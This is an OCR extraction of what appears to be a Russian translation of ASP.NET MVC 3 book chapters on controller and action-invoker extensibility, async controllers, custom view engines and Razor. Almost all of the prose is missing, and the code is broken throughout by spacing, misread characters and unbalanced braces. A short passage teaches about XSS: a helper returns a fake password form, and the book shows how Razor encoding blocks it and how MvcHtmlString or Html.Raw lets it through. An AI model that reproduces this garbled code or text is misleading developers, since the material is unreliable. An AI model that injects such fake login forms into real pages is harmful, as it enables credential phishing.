RequestContext, , , ,
.
14.6 .
14.6. I C o n t r o l l e r A c t i v a t o r
using System;
using System.Web.Mvc;
using ControllerExtensibility.Controllers;
namespace ControllerExtensibility.Infrastructure {
public class CustomControllerActivator : IControllerActivator {
public IController Create(System.Web.Routing.RequestContext requestContext,
Type controllerType) {
if (controllerType == typeof(FirstController)) {
controllerType = typeof(SecondController);
)
return DependencyResolver.Current.GetService(controllerType) as IController;
}
}
}
396
,
F i r s t C o n t r o l l e r .
S e c o n d C o n t r o l l e r .
I C o n t r o l l e r A c t i v a t o r
. , D e f a u l t C o n t r o l l e r F a c t o r y
, I D e p e n d e n c y R e s o l v e r . G e t S e r v i c e
I C o n t r o l l e r A c t i v a t o r . ,
.
A d d B i n d i n g s N i n j e c t D e p e n d e n c y R e s o l v e r ,
14.7.
14.7.
private void AddBindings () {
//
Bind<IControllerActivator>().To<CustomControllerActivator>();
}
. ,
, ,
14.6.
DefaultControllerFactory
. 14.1 ,
, .
DefaultC o ntro llerFacto ry.
14.1. D e f a u l t C o n t o l l e r F a e t o r y
IC o n tro lle r
C r e a t e C o n t r o l l e r
I C o n t r o l l e r F a c t o r y .
G e t C o n t r o l l e r T y p e
,
,
,
G etC o n tro llerln stance
Type
.
,
IC o n tro lle r
G e t C o n t r o l l e r l n s t a n c e
. DI SportsStore 7.
,
.
C o n t r o l l e r , .
14.
397
IController
.
12.
IActionlnvoker,
14.8.
14.8. I A c t io n ln v o k e r
namespace System.Web.Mvc (
public interface IActionlnvoker {
bool InvokeAction(ControllerContext ControllerContext, string actionName);
}
)
InvokeAction.
InvokeAction ControllerContext ( 12)
, . bool.
true , , a false
.
, .
.
,
. 14.9 IA ctio n ln v o k e r,
.
14.9.
using System.Web.Mvc;
namespace ControllerExtensibility.Infrastructure {
r e t u r n true;
} else {
retu rn f a l s e ;
)
)
i
}
'.'''^.
. , .
Index, Response.
, false,
404 Not found ( ).
, ,
Controller.Actionlnvoker. ,
. 14.10
, 14.9.
398
1 4 .1 0 .
u s in g S y s te m .W e b .M v c;
using C o n tr o lle rE x te n s ib ility .In fr a s tr u c t u r e ;
namespace C o n t r o l l e r E x t e n s i b i l i t y .C o n t r o l l e r s
public
class
p ublic
Custom ActionlnvokerController
C u s t o m A c t i o n l n v o k e r C o n t r o l l e r ()
: Controller
t h i s . A c t i o n l n v o k e r = new C u s t o m A c t i o n l n v o k e r ( ) ;
}
}
}
.
.
, ,
. ?
-, ,
. -, :
,
. , , ,
MVC Framework,
.
C o n t r o l l e r A c t i o n l n v o k e r
. .
,
.
,
.
p u b lic.
static.
.
. ,
, C o n t r o l l e r ,
, T o S t r i n g G e t H a s h C o d e ,
I C o n t r o l l e r . , ..
.
, .
, I s S p e c i a l N a m e S y s t e m . R e f l e c t i o n . M e t h o d B a s e ,
.
! , ( MyMethod<T>()),
, MVC Framework
.
14.
399
ControllerActionlnvoker , ,
. , action,
, Index, ControllerActionlnvoker
Index, .
, .
, , , MVC Framework
.
, .
Index Index.
ActionName, 14.11.
14.11.
using System.Web.Mvc;
namespate Actionlnvokers.Controllers {
public class HomeController : Controller {
[ActionName("Index")]
public ActionResult MyAction()
return View ();
}
}
MyAction ,
Index. Index,
MyAction. ActionName
. , MyAction
MyAction.
,
.
,
# (, [ActionNameC'Ussr-Registration")]).
#,
,
HTTP (, [HttpGet] [HttpPost]).
#,
[ActionName] .
: Visual Studio
Add View (
). , MyAction
Add View ( ),
, . 14.2.
, MVC Framework
, Index,
ActionName.
, ActionName, ,
, #.
400
,
. , ,
, ActionName,
.
MVC Framework
, .
.
, .
8,
HttpPost. Checkout, HttpPost
, -
POST (. 14.12).
14.12. H t t p P o s t
[HttpPost]
public ViewResult Checkout(Cart cart, ShippingDetails shippingDetails) {
//
)
public ViewResult Checkout!)
//
. 14.12
Checkout. , .
HttpPost, ,
. , .
.
,
-: HttpPost POST, HttpGet GET, HttpPut
PUT .. NonAction,
, ,
, ( 14.13).
14.
401
14.13. N o n A c tio n
[NonAction]
public ActionResult M y H e t h o d O
return V i e w ();
M y M e t h o d .
, . ,
private,
; [NonAction] ,
public.
A c t i o n M e t h o d
SelectorAt t r i b u t e , 14.14.
14.14. A c t i o n M e t h o d S e le c t o r A t t r i b u t e
namespace System.Web.Mvc {
us i n g System;
us i n g S y s t e m .R e f l e c t i o n ;
[AttributeUsage(AttributeTargets.Method,
A l l o w M u l t i p l e = false, I n h e r i t e d = t r u e ) ]
p u b l i c a b s t r a c t cl a s s A c t i o n M e t h o d S e l e c t o r A t t r i b u t e : A t t r i b u t e {
public abstract bool IsValidForRequest(ControllerContext ControllerContext,
Methodlnfo methodlnfo);
>
}
A c t i o n M e t h o d S e l e c t o r A t t r i b u t e
IsV a l i d F o r R e q u e s t .
C o n t rollerConte x t , , Methodlnfo,
,
. I s V a l i d F o r R e q u e s t true,
, f a l s e . 14.15
.
14.15.
using System.Reflection;
u s i n g Sy s t e m . W e b . M v c ;
n a m e s p a c e A c t i o n l n v o k e r s .I n f r a s t r u c t u r e {
pu b l i c c l a s s L o c a l A t t r i b u t e : A c t i o n M e t h o d S e l e c t o r A t t r i b u t e {
p u b l i c o v e r r i d e b o o l I s V a l i d F o r R e q u e s t ( C o n t r o l l e r C o n t e x t context,
Methodlnfo methodlnfo) {
re t u r n c o n t e x t .H t t p C o n t e x t .R e q u e s t .IsLocal;
)
}
402
t r u e I s V a l i d F o r R e q u e s t ,
.
14.16 ,
.
14.16.
[ActionName("Index")]
public ActionResult FirstMethod() {
return V i e w ((object)"Message from FirstMethod");
)
[Local]
[ActionName("Index")]
public ActionResult SecondMethod() {
return V i e w ((object)"Message from SecondMethod");
}
I n d e x ,
L o c a l . , I s V a l i d F o r R e q u e s t
t r u e , S e c o n d M e t h o d .
, I s V a l i d F o r R e q u e s t f a l s e ,
F i r s t M e t h o d .
,
, .
, .
, ,
, .
, ,
. .
.
,
ActionName.
, ,
false .
, .
, ,
.
, .
, . , ,
.
14.
403
,
f a l s e I n v o k e A c t i o n . , C o n t r o l l e r
H a n d l e U n k n o w n A c t i o n .
4 0 4 - N o t F o u n d ( ).
,
- .
14.17 .
14.17. H a n d le U n k n o w n A c tio n
u s in g
S y s te m .W e b .M v c ;
u s in g
nam espace A c t i o n l n v o k e r s . C o n t r o l le r s
p u b lic
c la s s
p u b lic
re tu rn
H o m e C o n tro lle r
A c tio n R e s u lt
: C o n tro lle r
I n d e x ()
V ie w ();
}
1
)
I n d e x .
, R e s p o n s e ,
. 14.3.
. 14.3.
REST
- REST (Representation State Transfer
) , SOAP (Simple
Object Access Protocol ).
REST URL HTTP. URL
. , URL / S t a f f / 1 ,
. HTTP
, . G E T
, P O S T , D E L E T E ..
REST A c t i o n N a m e
, 14.18.
404
1 4 .1 8 . - REST
public class StaffController : Controller {
[HttpGet]
[ActionName("Staff")]
public ActionResult StaffGet(int id) {
// ...
}
[HttpPost]
[ActionName("Staff")]
public ActionResult StaffModify(int id, StaffMember person) (
// ...
}
[HttpDelete]
[ActionName("Staff") ]
public ActionResult StaffDelete(int id) {
// ...
}
, G lo b a l.a sa x :
public static void RegisterRoutes(RouteCollection routes)
routes.IgnoreRoute("{resource).ax d / {*pathlnf )");
//
"{controller}/(action}/(id)", // URL
new ( controller = "Home", action = "Index", id = UrlParameter.Optional }
);
)
StaffM em ber
URL S ta f f /123, -
GET, POST DELETE .
API-, REST.
HTTP
API- REST ,
HTTP. , .NET, Java
Ruby, , . ,
JavaScript AJAX,
( Chrome, Firefox Internet Explorer). ,
- GET POST.
HTML- Flash-.
GET POST.
,
HTTP, ,
. /
, X-HTTP-Method-Override, .
HTTP, HTML-
14.
405
. , POST ,
, MVC ,
DELETE. , -
,
HTTP.
MVC Framework in p u t,
HTTP, R e q u e s t .
G etHttpM ethodOverride.
MVC Framework HTTP
POST. , GET
,
( 11).
! , R equest.H ttpM ethod,
HTTP. , ,
14.19, , HttpMethod POST,
G etH ttpM ethodO verride DELETE.
MVC Framework ,
- MVC.
,
,
.
.
406
,
,
,
M VC. .
,
.
- ,
- .
ASP.NET
.
,
. ,
.
.
.
, ,
. ,
. ,
: M V C Framework
, ,
.
I C o n t r o lle r F a c t o r y
, I C o n t r o l l e r F a c t o r y
G e t C o n t r o lle r S e s s io n B e h a v io r ,
S e s s io n S t a t e B e h a v io r . ,
. 14.2.
14.2. S e s s io n S t a t e B e h a v io r
D e f a u lt
ASP.NET,
H tt p C o n te x t
R e q u ir e d
, -
R e a d o n ly
D is a b le d
, I C o n t r o l l e r F a c t o r y
. ,
S e s s io n S t a t e B e h a v io r G e t C o n t r o lle r S e s s io n B e h a v io r .
R e q u e s tC o n t e x t ,
. , . 14.2,
, 14.20.
14.
407
14.20.
public SessionStateBehavior GetControllerSessionBehavior(
RequestContext requestContext, string controllerName) {
switch (controllerName) {
case "Home":
return SessionStateBehavior.Readonly;
case "Other":
return SessionStateBehavior.Required;
default:
return SessionStateBehavior.Default;
}
}___________________________________________________
DefaultControllerFactory
SessionState,
14.21.
14.21. S e s s io n S ta te
using System.Web.Mvc;
using System.Web.SessionState;
namespace SpecialControllers.Controllers {
[SessionState(SessionStateBehavior.Disabled)]
public class HomeController : Controller (
public ActionResult Index () (
return View () ;
}
}
}
S e s s io n S ta te
. ,
SessionStateBehavior (. . 14.2).
, ,
, :
Session["Message"] = "Hello";
:
Message: SSession["Message"]
MVC Framework ,
. , Disabled,
HttpContext.Session null.
Readonly, ,
,
- .
HttpContext.Session,
.
408
. ,
ViewBag ViewData.
SessionState .
12.
ASP.NET .NET,
. ,
, .
.
,
.
ASP.NET .
, ,
.
,
.
,
.
MVC. ,
, ,
.
,
,
. ,
, .
!
, . .
. , ,
, .
, ,
. .
.
, -
.
! , , . ,
,
.
, ,
, .
, ,
.
14.
409
, ,
, .
14.22 .
14.22. ,
using System.W e b .M v c ;
using SpecialControllers.Models;
namespace SpecialControllers.Controllers {
public class RemoteDataController : Controller {
public ActionResult Data() {
RemoteService service = new RemoteService();
string data = service.GetRemoteData ();
return V i e w ((object)data);
}
Data,
RemoteService GetRemoteData.
, ,
. RemoteService 14.23.
14.23. , ,
using System.Threading;
namespace SpecialControllers.Models {
public class RemoteService {
public string GetRemoteData() (
Thread.Sleep(2000);
return "Hello from the other side of the world";
}
}
)
, , GetRemoteData.
,
Thread.Sleep,
. Data.cshtml.
:
Smodel string
0!
Vie w B a g .Title = "Data";
}
Data: SModel
URL /RemoteData/Data
, RemoteService GetRemoteData.
( )
, .
410
, ,
.
. System.Web.Mvc.Async.IAsyncController,
IController.
,
.NET.
. .
, .
- MVC Framework,
: System.Web.Mvc.AsyncController,
iAsyncController. 14.24
.
14.24.
using System.Web.Mvc;
using Special'Controllers .Models;
using System.Threading.Tasks;
namespace SpecialControllers.Controllers {
public class RemoteDataController : AsyncController {
public void DataAsyncO
AsyncManager.OutstandingOperations.Increment();
T a s k .F actory.StartNew({) => {
//
RemoteService service - new RemoteService();
// -,
String data = service.GetRemoteData() ;
AsyncManager.Parameters["data"] = data;
AsyncManager.OutstandingOperations.Decrement();
}>;
}
public ActionResult DataCompleted(string data) {
return V i e w ((object)data);
)
}
)
, .
, Task.
Factory.StartNew
, TPL (Task Parallel Library ).
, ASP.NET
, .
, TPL
.
14.
411
-
,
. API, Windows (Input/
Output Completion Ports -)
.NET.
A s y n c C o m p le t e d
.
<>Async. <>Async
. ,
, ,
<>Async.
URL /RemoteData/Data
DataAsync. ( , URL
, URL, .
UFy> - /RemoteData/Data.)
Async void. ,
, Async. ,
<>Async .
<>C om pleted .
DataCompleted. ,
.
! ,
A s y n c , , . ,
Completed, .
Async 4 , , ,
MVC Framework, .
DataAsync:
public void
D a t a A s y n c ()
AsyncManager.OutstandingOperations.Increment();
T a s k . F a c t o r y . S t a r t N e w (()
=>
// ...
AsyncManager.OutstandingOperations.Decrement();
>
}) ;
MVC Framework ,
. OutstandingOperations.Increment
AsyncManager.
.
.NET Framework .
TPL, .NET 4.
.NET.
TPL , ,
({ }) StartNew,
, ASP.NET.
412
14.25.
p u b lic
v o id
D a t a A s y n c ()
. . .
=>
Increment(3) ;
AsyncManager.OutstandingOperations.Decrement();
}) ;
Task.F a c to ry .S ta rtN e w (()
/ /
. . .
=>
AsyncManager.OutstandingOperations.Decrement();
>>;
Task.Factory.StartNew(() => {
/ /
. . .
AsyncManager.OutstandingOperations.Decrement();
)) ;
1
.
Increment , . ,
, Decrement.
MVC Framework ,
<>sync, .
AsyncManager. Async increment
AsyncManager , ,
.
, MVC Framework ,
, Async, ,
.
, <efCTBHe>Completed.
DataCompleted:
p u b lic
A c tio n R e s u lt
re tu rn
D a ta C o m p le te d (s trin g
d a ta )
V ie w ( (o b je c t)d a ta );
}
DataCompleted .
,
, MVC Framework.
, (. 12).
string
View ( object,
).
14.
413
A sy n c C o m p le te d
MVC Framework
Async ,
C ompleted .
Parameters A s y n c M a n a g e r /,
14.26.
14.26.
public void DataAsync () {
AsyncManager.OutstandingOperations.Increment();
Ta s k .Factory.StartNew (() => {
//
RemoteService service = new RemoteService () ;
// -,
string data = s ervice.GetRemoteData();
AsyncManager.Parameters["data"] = data;
AsyncManager.OutstandingOperations.Decrement();
});
data data.
, MVC Framework ,
AsyncManager.Parameters,
Completed. data
Async data Completed:
public ActionResult DataCompleted(string data) {
,
AsyncManager. Parameters, Completed .
. MVC
Framework Completed,
( null).
! AsyncManager. Parameters
AsyncManager. Decrement. , Completed
, ,
Completed null.
-
MVC Framework 45
AsyncManager .
45 ,
System.TimeoutException.
- ,
, MVC
ASP.NET. -
, OnException ,
14.27.
414
1 4 .2 7 . -
protected override void OnException(ExceptionContext filterContext)
if (filterContext.Exception is System.TimeoutException) (
filterContext.Result = RedirectToAction("TryAgainLater");
filterContext.ExceptionHandled = true;
}
}
- ,
,
.
- AsyncT i m e o u t
<>sync; 14.28.
14.28. -
[AsyncTimeout(10000)]
public void DetaAsyncO
AsyncTimeout ,
MVC Framework ,
<>Async. 14.28 10 .
NoAsyncTimeout - (.
14.29).
14.29. -
[NoAsyncTimeout]
public void DataAsync() {
, AsyncManager.Finish
. MVC Framework ,
<>1.,
. ,
AsyncManager.Parameters, Completed. ,
14.
415
Finish,
, (null ,
..).
!
AsyncManager.Finish
. ,
, , .
.NET
.NET Framework
.
(Asynchronous Programming Model ). .NET
, .
Begin <> <>.
Begin,
, .
IAsyncResult,
End. .
, , .
,
, . ,
4^ 14.30 ,
System.Net.WebRequest, .
14.30.
using
using
using
using
using
using
System;
System.10;
System.Net;
System.Threading.Tasks;
System.Web.Mvc;
SpecialControllers.Models;
namespace SpecialControllers.Controllers {
public class RemoteDataController : AsyncController {
public void P ageA s y n c O {
AsyncManager.OutstandingOperations.Increment();
WebRequest req = WebRequest.Cre a t e ("h t t p ://www.a s p .n et");
r e q .BeginGetResponse( (IAsyncResult ias) => {
WebResponse resp = req.EndGetResponse(ias);
string content = new StreamReader (resp.GetResponseStream()) .ReadToEndO ;
AsyncManager.Parameters I"html"] = content;
A s y n c M a n a g e r .OutstandingOperations.Decrement() ;
}, null);
}
public ContentResult PageCompleted(string html)
return Content(html, "text/html");
}
}
}
416
HTML-, URL w w w . a s p . n e t ,
W e b R e q u e s t .
B e g i n G e t R e s p o n s e , -
. E n d G e t R e s p o n s e
IAsyncResult, . ,
E n d G e t R e s p o n s e W e b R e s p o n s e ,
.
P a g e C o m p l e t e d
A s y n c M a n a g e r .
,
. , ,
.NET Framework, , , -
.
.
,
.
, .
.
-, .
- .
,
.
,
(. 13).
,
, ,
MVC , .
, MVC Framework
.
, .
. ,
,
.
. MVC
Framework .
.
MVC Framework
( ).
15
12 ,
ActionResult. ,
ViewResult,
.
,
, .
. , , MVC Framework ViewResult
(view engine),
.
Razor (Razor View Engine). ,
, ,
Razor.
MVC.
,
. .
MVC Framework ,
.
Razor, , MVC 3.
, 5.
ASPX (
Web Forms), <%...%>,
ASP.NET Web Forms.
MVC.
,
,
MVC Framework. ,
View Result ,
.
IV iew E ngine,
15.1.
14 . 4039
418
1 5 .1 . I V i e w E n g i n e
namespace System.Web.Mvc {
public interface IViewEngine {
ViewEngineResult FindView(ControllerContext C o n t r o l l e r C o n t e x t ,
string viewName, string masterName, bool useCache);
ViewEngineResult FindPartialView(ControllerContext ControllerContext,
string partialViewName, bool useCache);
void ReleaseView(ControllerContext ControllerContext, IView view);
)
)
ViewEngineResult. FindView
FindPartialView ,
( ControllerContext),
, ,
.
ViewResult. ReleaseView ,
.
! MVC Framework
C o n t r o l l e r A c t i o n l n v o k e r ,
IActionlnvoker, 14.
.
ViewEngineResult
MVC Framework, .
.
, ViewEngineResult
:
p u b lic V iew E n g in eR esu lt ( IV iew v ie w ,
IV iew E n gin e v ie w E n g in e )
IView
( ReleaseView ).
,
:
public ViewEngineResult(IEnumerable<string> searchedLocations)
,
. ,
, .
! ViewEngineResult ,
.
,
, MVC Framework. ,
, ,
.
15.
419
IView, 15.2.
15.2. IV ie w
n a m e s p a c e S y s t e m .W e b .M v c
u s i n g S y s t e m .10;
T e x t Writer writer);
}
}
V i e w E n g i n e R e s u l t IView,
. MVC Framework
R e n d e r . V i e w C o n t e x t 0
. T e x t W r i t e r
.
, , ..
BMecTe*IViewEngine, IView ViewEngineResult
. ,
. ,
,
.
, .
IV ie w
IView. ,
, 15.3.
15.3. IV ie w
using System. 10,-
using System.Web.Mvc;
n a m e s p a c e V i e w s .I n f r a s t r u c t u r e .C u s t o m V i e w E n g i n e
p ub l i c class D e b u g D a t a V i e w : IView (
//
( s t r i n g k e y in v i e w C o n t e x t .R o u t e D a t a .V a l u e s .K e y s ) (
w r i t e ( w r i t e r , "Key;
(0), V a l u e :
(1)",
key, v i e w C o n t e x t .R o u t e D a t a .V a l u e s [k e y ] );
}
W r i t e ( w r i t e r , " --- V i e w D a t a --- ");
foreach
//
( s t r i n g k e y in v i e w C o n t e x t . V i e w D a t a .Keys)
W r i t e ( w r i t e r , "Key: {0}, V a l u e :
v i e w C o n t e x t . V i e w D a t a [k e y ] );
{1}",
key,
}
p r i v a t e v o i d W r i t e ( T e x t W r i t e r writer,
s t r i n g t emplate,
p a r a m s o b j e c t [] values)
{
w r i t e r . W r i t e ( s t r i n g .F o r m a t ( t e m p l a t e ,
}
}
}
values)
+ "<p/>");
420
Render:
V i e w C o n t e x t
TextWriter.
I V ie w E n g in e
,
ViewEngineResult, IView,
. , IView,
, 15.4.
1 5 .4 . I V i e w E n g i n e
using System.W e b .Mvc;
namespace V i e w s .Infrastructure.CustomViewEngine {
public class DebugDataViewEngine : IViewEngine (
public ViewEngineResult FindView(ControllerContext ControllerContext,
string viewName, string masterName, bool useCache) (
if (vie'wName == "DebugData") {
return new ViewEngineResult(new DebugDataView (), this);
} else (
return new ViewEngineResult(new string[] { "Debug Data View Engine" ));
}
)
public ViewEngineResult FindPartialView(ControllerContext ControllerContext,
string partialViewName, bool useCache) (
return new ViewEngineResult(new string[]
}
public void ReleaseView(ControllerContext ControllerContext, IView view) {
//
}
)
DebugData. ,
iview , :
return new ViewEngineResult (new DebugDataView(), this);
, .
DebugDataView. DebugData ,
View EngineResult :
return new ViewEngineResult(new string[] ( "Debug Data View Engine" ));
IViewEngine ,
, . , ..
,
. ,
.
15.
421
, F i n d P a r t i a lV i e w ,
.
, Razor.
R e le a se V ie w , ,
IV iew , .
. A p p l i c a t i o n _ S t a r t
G lo b a l.a s a x , 15.5.
15.5. G lo b a l.a s a x
p r o t e c t e d v o id A p p l i c a t i o n _ S t a r t () {
A r e a R e g is t r a t io n .R e g is t e r A llA r e a s ( ) ;
ViewEngines.Engines.Add(new DebugDataViewEngine());
R e g is t e r G lo b a lF ilt e r s ( G lo b a lF ilt e r s . F i l t e r s ) ;
R e g is t e r R o u t e s ( R o u t e T a b le . R o u t e s ) ;
}
V ie w E n g in e .E n g in e s
, . M V C Framework
, .
V ie w R e s u lt
Fin d V iew .
FindView
ViewEngineResult, iview. ,
ViewEngines.Engines ,
,
. , ,
:
V ie w E n g in e s . E n g i n e s . I n s e r t (0 , new D ebugD ataV iew Eng ine ( ) ) ;
. ,
IV ie w E n g in e .
N in je c tD e p e n d e n c y R e s o lv e r , 10,
A d d B in d in g s
:
p r i v a t e v o id A d d B in d in g s () {
/ /
B in d < IV ie w E n g in e > ( ) . To< D ebug D ataV iew Eng ine> ( ) ;
!
, ,
, V ie w E n g in e s .E n g in e s .
.
H o m e C o n t r o lle r I n d e x
:
422
u s i n g System;
u s i n g S y s t e m .W e b .Mvc;
n a m e s p a c e V i e w s .C o n t r o l l e r s
: Controller
p u b l i c A c t i o n R e s u l t I n d e x ()
}
}
}
, View
ViewResult, DebugData.
Visual Studio
, .
. 15.1.
. 15.1.
FindView ,
. ,
I n d e x , V i e w R e s u l t ,
, :
return V i e w ("No_Such_View");
FindView
. he
, .
. 15.2.
. 1 5 .2 . , ,
15.
423
, , ,
,
.
MVC Framework
. , , ,
, .
Spark, NHaml, Brail NVelocity.
-. , NVelocity Java Apache Velocity,
a NHaml Ruby on Rails Haml. Spark
,
HTML-, .
,
, .
Razor ASPX ,
.
Razor
, . ,
,
, , MVC
.
,
,
.
, ,
Razor. R a z o r ,
MVC.
.
. Razor ,
MVC 3, (
ASPX Web Forms). -
ASPX, Microsoft , ,
, Razor.
Razor 5.
,
Razor. , Razor.
Razor
Razor
, .
#, ; C#
. ,
Razor, Razor.
15.6 Razor,
.
424
1 5 ,6 . Razor
Smodel string[]
@{
ViewBag.Title = "Index";
}
This is a list of fruit names:
@foreach (string name in Model)
<span><b>@name</b></span>
}
MVC
, , Razor,
. , ..
MVC .
C#
, , #,
. c :\ U s e r s \< >\
A p p D a t a \ L o c a l \ T e m p \ T e m p o r a r y A S P . N E T F i l e s Windows 7 ,
.
, ,
. ,
.cs .
15.6 A p p _ W e b _ g v a x r o n l . l . c s ,
r o o t \ 8 3 e 9 3 5 0 c \ e 8 4 c b 4 c e . 15.7.
15.7. Razor
namespace ASP {
u s i n g S y s te m ;
using System.Collections.Generic;
using System.10;
u sin g S y s te m .L in q ;
u s in g S y stem .N et;
using
using
using
using
using
using
using
using
using
System.Web;
System.W e b .Helpers;
System.Web.Security;
System.Web.U I ;
System.Web.WebPages;
System.Web.Mvc;
System.W e b .M v c .A j ax;
System.Web.Mvc.Html;
System.Web.Routing;
{
public _Page_Views_Home_Index_cshtml() {
}
public override void E x e c u t e O {
WriteLiteral("\r\n");
ViewBag.Title = "Index";
WriteLiteral("\r\nThis is a list of fruit n am e s :\r\n\r\n");
15.
425
WebViewPage<T>, .
. , . ,
. Razor
.
Execute .
, @,
#. HTML WriteLiteral,
, .
Write, C#
HTML-.
Write WriteLiteral TextWriter.
, IView.Render,
. Razor
TextWriter.
, HTML .
Razor
MVC DI (Dependency
Injection ), Razor
. , , ,
.
, ,
. ICalculator
15.8.
15.8. I C a l c u l a t o r
namespace Views.Models {
public interface ICalculator (
int Sumfint x, int y ) ;
)
}
,
ICalculator , ,
WebViewPage, 15.9.
1 5 .9 . , W e b V ie w P a g e
using System.Web.Mvc;
using Ninject;
426
namespace V i e w s . M o d e l s . V i e w C l a s s e s {
p u b l i c a b s t r a c t c l a s s C a l c u l a t o r V i e w : WebViewPage {
[In je c t]
p u b lic IC a lc u la t o r C a lu la to r { get; s e t ;
DI
, DI , .
I n j e c t ,
. ,
Razor- i n h e r i t s , 15.10.
15.10. Razor
Oinherits Views.Models.ViewClasses.CalculatorView
@(
V ie w B a g . T i t l e = " C a l c u l a t e " ;
}
< h 4 > C a lcu la te < / h 4 >
The c a l c u l a t i o n r e s u l t f o r SView Bag .X and SView Bag .Y
i s @ C a l u l a t o r . Sum(ViewBag. X, ViewBag.Y)
0 in h e r its ,
15.7. C a lcu la to r,
, IC a lc u la to r,
IC a lc u la to r.
in h e r i t s
. in h e r it s 15.10
:
p u b l i c c l a s s _ P a g e _ _ V ie w s _ H o m e _ C a l c u l a t e _ c s h t m l :
Views.Models.ViewClasses.CalculatorView (
}
, C a l c u l a t o r .
I C a l c u l a t o r
, Ninject
.
A d d B i n d i n g s N i n j e c t D e p e n d e n c y R e s o l v e r :
p r i v a t e v o i d A d d B in d in gs ()
/ /
B i n d < I C a l c u l a t o r > () .T o < S i m p l e C a l c u l a t o r > ();
Razor.
15.
427
Razor ,
MVC Framework. ,
I n d e x , H o m e, Razor
:
~ /V i e w s /H o m e /In d e x .c s h t m l
~ /V i e w s /H o m e /I n d e x .v b h t m l
- /V i e w s /S h a r e d /I n d e x .c s h t m l
~ /V i e w s /S h a r e d /I n d e x .v b h t m l
. Razor
, .. #. Razor
, . . c s h t m l ,
#, .v b h t m l Visual Basic.
, Razor,
R a z o r V i e w E n g i n e . I V i e w E n g i n e Razor.
, , ,
. . 15.1.
15.1. Razor,
V ie w L o c a tio n F o r m a ts
M aste rL o c a tio n F o rm a ts
"~ /V i e w s /{ l } /{ 0 } .v b h t m l " ,
P a r tia lV ie w L o ca tio n F o rm a ts
"~ /V ie w s /S h a r e d /{ 0 } . c s h t m l ",
"~ /V ie w s /S h a r e d /{ O J . v b h t m l"
A re a V iew L o c atio n F o rm a ts
A re a M a ste rL o c a tio n F o rm a ts
" ~ / A r e a s / ( 2 ) / V i e w s / ( l ) / ( 0 } . c s h t m l ",
" ~ / A r e a s /{ 2 } /V i e w s /{ l } /{ 0 } .v b h t m l ",
"~ /A r e a s /{ 2 } /V i e w s /S h a r e d /{ 0 ( . vb h tm l"
A r e a P a r t ia lV ie w L o c a t io n F o r m a t s
Razor,
. ,
.
, :
{0} :
( 1 ) ;
{2} .
,
R a z o r V i e w E n g i n e ,
. 15.1. 15.11
, ,
, Razor C# (
.c s h t m l ) .
428
15.11.
Razor
using System.Web.Mvc;
namespace V i e w s .Infrastructure {
public class CustomRazorViewEngine : RazorViewEngine {
public CustomRazorViewEngine() {
ViewLocationFormats = new string[] (
" ~ / V i e w s / {1}/ {0}.cshtml",
"~/Views/Common/{0}.cshtml"
};
)
}
}
}
, ,
, . ,
,
Razor.
C le a r
, Add .
Razor
.
.
, .
, HTML-,
.
,
. 15.2.
15.
429
15.2.
,
, i f fo r e a c h .
,
HTML
HTML-
,
. MVC Framework
HTML,
. ,
, M v c H t m ls t r in g ,
HTML
.
, HTML
.
,
-
,
-. ,
C #,
@. Razor,
, .
Razor 5, .
,
.
MVC Framework ASP.NET Web Forms, ,
. Web Forms
. , ,
.
- , ASP.NET MVC ASP.NET Web Forms
, ,
. Web Forms .
ASPX , . , MVC Framework
.
,
. , MVC
MVC. Razor
,
.
430
,
.
MVC
. ,
MVC Fram ew ork, .
,
MVC.
Razor u sin g
,
.
15.7. ,
, .
15.12 , .
15.12.
0{
V i e w B a g .Tit l e = "Index";
}
H ere
is
some d a t a :
SDynamicData.Infrastructure.MyUtility.GetUsefulData()
MyUtility GetUsefulData,
.
, DynamicData.
In fr a st ru c t u r e
.
. , , ,
using, .
@usng
0using Razor.
using #. 15.13 .
15.13. 0 u s in g
S u s in g
D y n a m ic D a ta . I n f r a s t r u c t u r e
@(
V i e w B a g . T i t l e = "Index";
}
15.
431
W e b .c o n fig
0 u s i n g .
,
Views/Web.config, 15.14.
15.14. W e b .c o n fig
< s y s t e m . w e b . w e b P a g e s .r a z o r >
< pages p a g e B a s e T y p e = " S y s t e m . W e b . M v c .W e b V i e w P a g e ">
<namespaces>
< a d d n a m e s p a c e = " S y s t e m . W e b . M v c " />
<add n a m e s p a c e * " S y s t e m . W e b . M v c . A j a x " />
O d d n a m e s p a c e = " S y s t e m . W e b . M v c . H t m l " />
<add n a m e s p a c e = " S y s t e m . W e b .R o u t i n g " />
O d d namespace="DynamicData.Infrastructure"/>
-t/namespaces?-
! W e b . c o n f i g , Views,
W e b . c o n f i g .
V i e w s / W e b . c o n f i g ,
Susing,
.
HTML- Razor
(XSS)
. ,
in pu t HTML ,
.
.
XSS 21.
Razor XSS,
.
, HTML,
. , < sit;.
, G e t U s e f u l D a t a
M y U t i l i t y ,
. 15.15. ,
, .
15.15. ,
n a m e s p a c e D y n a m i c D a t a .I n f r a s t r u c t u r e {
p u b l i c class M y U t i l i t y {
p u b l i c s t a t i c s t r i n g G e t U s e f u l D a t a () {
r eturn " < f o r m > E n t e r your p a s s w o r d :< i n p u t t y p e = t e x t >
<input t y p e = s u b m i t v a l u e = \ " L o g I n \ " / X / f o r m > " ;
}
}
}
432
II. ASP.NET 3
XSS
.
GetUsefulData ,
HTML- .
, .
,
0, . HTML-, MVC
Framework , :
Here is some data: <form>Enter your password:<input
type=text><input
type=submit value="Log In&guot;/>/form>
. 15.3 , .
. 15.3. HTML-
-
, Razor .
,
.
MvcHtmlString. HTML-,
. 15.16 , MyUtility.
15.16. M vcH tm lS trin g
u s i n g S y s t e m . W e b .M v c ;
namespace DynamicData.Infrastructure {
public class MyUtility {
public static MvcHtmlString GetUsefulData () {
return new MvcHtmlString("<form>Enter your p assword:cinput type=text>
cinput type=submit value=\"Log In\"/>c/form>");
}
)
}
MvcHtmlString , , .
. 15.4.
. 15 .4. HTML-
15.
433
, , . -
HTML-.
! , -
. 15.4. ,
. -, XSS
, , , . -,
XSS .
, ,
.
, ,
@Html.Raw
, 15.17.
V i e w B a g . T i t l e = "Index";
}
H e r e is s o m e d a t a :
0 H t m l .R a w ( M o d e l )
,
, System.Web.Mvc.WebViewPage<T>,
. , :
@model string
@{
ViewB ag.T i t l e
"In dex";
(
...
public class
{
...
}
@m o del, string,
. ,
, ,
.
, .
, :
0{
V i e w B a g .T i t l e = " I n d e x " ;
}
...
434
, , , :
public class _Page_Views__Home_InlineHelper_cshtml
S y s t e m . W e b . M v c .W e b V i e w P a g e < d y n a m i c >
. . .
}
,
d y n a m ic. - ,
,
, ,
, ViewBag.
,
.
.
,
, , ,
.
15.18 ,
. , , ,
Ruby.
, .
15.18. Razor
